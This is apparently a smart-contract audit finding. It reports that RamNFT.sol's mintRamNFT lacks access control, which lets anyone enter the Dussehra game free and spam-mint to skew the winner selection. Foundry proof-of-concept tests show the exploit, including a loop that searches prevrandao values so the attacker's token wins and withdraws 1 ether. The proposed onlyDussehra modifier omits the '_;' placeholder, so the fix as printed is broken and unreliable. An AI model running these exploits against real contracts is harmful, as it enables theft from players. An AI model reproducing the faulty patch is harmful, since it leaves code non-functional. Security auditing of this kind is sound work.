Summary
Anyone can enter for free by minting a RamNFT.
Vulnerability Details
Having a RamNFT allows you to participate. However, you can mint one without paying the entrance fee charged in Dussehra.sol::enterPeopleWhoLikeRam
by minting directly from the RamNFT.sol contract. Meaning you can participate for free.
Impact 1
Users can win eth without investing any (apart from gas).
Proof of Code
function test_canWinWithoutPaying() public participants {
uint256 player3TokenId = ramNFT.getNextTokenId();
assertEq(player3.balance, 0);
vm.startPrank(player3);
ramNFT.mintRamNFT(player3);
vm.warp(1722470400);
vm.prevrandao(bytes32(0));
uint256 prevrandao;
vm.warp(1728691200 + 1);
for (uint256 i = 0; i < 100; i++) {
vm.prevrandao(bytes32(i));
if (
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter()
== player3TokenId
) {
prevrandao = i;
break;
}
}
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
dussehra.killRavana();
vm.startPrank(player3);
dussehra.withdraw();
vm.stopPrank();
assertEq(player3.balance, 1 ether);
}
Impact 2
You can mint a bunch of nfts and make RamNFT.sol::tokenCounter
artificially high and make the chance of winning for legitimate users tiny as ChoosingRam.sol::selectRamIfNotSelected
chooses a "random" user based on the RamNFT.sol::tokenCounter
.
Proof of Code
function test_spamMintNft() public participants {
vm.startPrank(player3);
for (uint256 i = 0; i < 1000; i++) {
ramNFT.mintRamNFT(player1);
}
vm.stopPrank();
uint256 wantToBeLikeRamLength = 2;
assertEq(ramNFT.tokenCounter(), 1002);
assertEq(address(dussehra).balance, 2 ether);
}
The inflated tokenCounter causes the variable random to be a number between 0 and 1001 instead of between 0 and 1
function selectRamIfNotSelected() public RamIsNotSelected OnlyOrganiser {
if (block.timestamp < 1728691200) {
revert ChoosingRam__TimeToBeLikeRamIsNotFinish();
}
if (block.timestamp > 1728777600) {
revert ChoosingRam__EventIsFinished();
}
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();
selectedRam = ramNFT.getCharacteristics(random).ram;
isRamSelected = true;
}
Tools Used
Manual review
Recommendations
Add an access modifier to RamNFT.sol::mintRamNFT
.
Implementation
+ address dussehraContract;
constructor(address _dussehraContract) ERC721("RamNFT", "RAM") {
tokenCounter = 0;
organiser = msg.sender;
+ dussehraContract = _dussehraContract;
}
+ modifier onlyDussehra {
+ if(msg.sender != dussehraContract) revert();
+ }
- function mintRamNFT(address to) public {
+ function mintRamNFT(address to) public onlyDussehra {